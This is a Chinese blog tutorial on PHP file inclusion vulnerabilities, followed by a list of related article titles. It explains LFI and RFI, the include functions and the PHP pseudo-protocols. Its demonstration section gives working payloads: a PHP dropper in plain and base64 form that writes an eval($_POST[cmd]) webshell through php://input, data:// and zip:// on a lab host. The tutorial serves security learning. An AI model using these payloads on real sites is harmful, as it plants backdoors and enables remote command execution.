本文转自行云博客https://www.xy586.top/

文章目录

  • 原理
  • 分类
  • PHP文件包含的函数
  • 伪协议
  • 演示
    • php://input 伪协议
    • data://text/plain 伪协议
    • zip:// 伪协议

原理

文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

  • 1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
  • 2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
  • 3、文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等函数。

分类

本地文件包含LFI(local file include)当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(remote file include)当被包含的文件在第三方服务器时,叫做远程文件包含。

PHP文件包含的函数

include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。

include_once( )
功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次

require( )require()与 include()的区别在于 require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。

require_once( )
功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次

远程文件包含漏洞

当包含的文件在远程服务器上时,就形成了远程文件包含
远程文件包含的注意点:
1). 需要php.ini中allow_url_include = on以及allow_url_fopen=on
2). 所包含远程服务器的文件后缀不能与目标服务器语言相同。(比如目标服务器是php脚本语言解析的,
那么包含的远程服务器文件后缀不能是php)

伪协议

data:text/plain 或 data:text/plain;base64
php://input
php://filter
file://
zip://

payload

data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=;
include('php://input’);
include('php://filter/read=convert.base64-encode/resource=test.php');//用于读取源码
zip://2.zip%232.php

演示

本演示为通过伪协议获取webshell
测试的PHP文件

php://input 伪协议

使用burpsuite抓包再改包
Payload: http://192.168.232.128/file.php?a=php://input

更改请求方式为post
post过去的代码为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>

再发包即可生成一个shell.php文件,然后使用蚁剑连接

data://text/plain 伪协议

将木马使用base64编码

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>

编码之后

PD9QSFAgZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4nKTs/Pg==

Payload:

http://192.168.232.128/file.php?a=data://text/plain;base64,PD9QSFAgZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4nKTs/Pg==

使用该payload即可在网站根目录下生成shell.php文件,然后蚁剑连接

zip:// 伪协议

创建一个zip压缩包,里面含有带木马的PHP文件

Payload:http://192.168.232.128/file.php?a=zip://2.zip%232.php

其余步骤与data伪协议一样

任意文件包含漏洞原理解析及演示相关推荐

  1. minify php,ThinkSNS public/minify.php 任意文件包含漏洞

    ## 漏洞信息: ThinkSNS开源微博系统,是智士的开源社交平台.采用PHP+MySQL技术平台,微博+应用的产品模式,同时拥有iphone.android客户端.wap.3G版界面. Think ...

  2. 【愚公系列】2023年05月 网络安全高级班 071.WEB渗透与安全(文件包含漏洞原理利用防御)

    文章目录 前言 一.文件包含漏洞原理利用防御 1.原理 1.1 简介 1.2 分类 1.3 代码 1.3.1 shell语句 1.3.2 包含语句 2.渗透 2.1 低安全级别 2.1.1 本地文件包 ...

  3. 任意文件包含漏洞(1)

    目录 原理 分类 危害 包含的函数 本地文件包含 远程文件包含 利用方式 无文件包含方法 有文件包含方法 1.伪协议 1.data 2.php://input 3.zip://伪协议 首先要说明的一点 ...

  4. 【文件包含漏洞-02】文件包含漏洞原理、简单测试实例以及空字符绕过实例

    目录 1 文件包含漏洞 1.1 文件包含漏洞概述 1.2 文件包含漏洞的形成原因/条件 1.3 危害 2 文件包含漏洞简单测试实例 2.1 测试环境 2.2 实例一:本地文件包含 2.3 实例二:远程 ...

  5. 文件包含漏洞原理/利用方式/应对方案

    原理 用户利用文件包含函数上传可执行脚本文件,造成信息泄露或任意命令执行 触发点/检测 文件包含漏洞的检测需要配合代码审计,重点在文件包含的函数 include() require() include ...

  6. 超详细文件包含漏洞原理及修复

    一.文件包含是什么 程序开发人员通常会把常用的可复性使用的函数写到一个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含. (通俗的来说就是把文件放在一个文件 ...

  7. PHP文件包含漏洞原理分析和利用方法

    本文章简单摘要:一.涉及到的危险函数[include(),require()和include_once(),require_once()]include()&&require()语句: ...

  8. php任意文件引入漏洞,PHP:ThinkCMFX任意文件包含漏洞

    前言:最近爆出来的漏洞,ThinkCmfX版本应该是通杀的,基于3.X Thinkphp开发的 代码下载地址:https://gitee.com/thinkcmf/ThinkCMFX/releases ...

  9. php excel中解析显示html代码_骑士cms从任意文件包含到远程代码执行漏洞分析

    前言 前些日子,骑士cms 官方公布了一个系统紧急风险漏洞升级通知:骑士cms 6.0.48存在一处任意文件包含漏洞,利用该漏洞对payload文件进行包含,即可造成远程代码执行漏洞.这篇文章将从漏洞 ...

  10. 【文件包含漏洞-02】文件包含漏洞分类与原理及其空字符安全绕过实验

    文件包含漏洞 文件包含(file inclusion)漏洞,当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include ...

最新文章

  1. 尹伊:我眼中的Datawhale
  2. 严苛模式(StrictMode)
  3. 全网最新IDEA项目注释规范设置
  4. python编辑器文字放大_python学习笔记000
  5. LaTex的book类型中,目录及chapter前自动插入空白页面
  6. mysql知识点拾遗梳理
  7. 类似MSN的消息提示
  8. 10分钟看懂财务报表分析,只需掌握一个公式!
  9. 计算机系统指定文件类型,Win7系统下设置显示已知文件类型的扩展名
  10. 百度大脑车型识别使用攻略
  11. 帝国cms系统7.5 文档word
  12. 无法通过windows功能控制面板自动安装或卸载windows server角色和功能
  13. 解决div高度不自动增加的问题
  14. 杰理之使用MIC隔电容方案,微信语音前几秒也出现“哒哒”【篇】
  15. 在线视频转音频怎么弄?这几个软件建议你们收藏
  16. 计算机安全技术相关实例,计算机安全技术TOOLS教程课件5.14 实例:无线网络安全配置.doc...
  17. 记一次计通项目(网元设计)(更新中)
  18. 领域驱动设计的实践 – CQRS Event Sourcing
  19. 【前端使用插件js-export-excel导出excel】
  20. SCCM 2007 R2 setp by setp(八)-升级至R3

热门文章

  1. Python宜昌房源数据获取与分析
  2. HTML5多媒体(音频、视频播放)
  3. 全国哀悼日,我们也把博客灰一下吧
  4. 基于HAL库的STM32F704的电阻式触摸屏的学习
  5. 【爬虫Practice2】爬取豆瓣高分电影
  6. 电子书免费下载及文本格式转换问题
  7. vc2005和IE冲突 主要是在通过向导添加方法或变量的时候会报脚本错误。
  8. IPone 接口压力测试
  9. 通过PS抠出透明的玻璃瓶
  10. C#调用Windows图片和传真查看器打开图片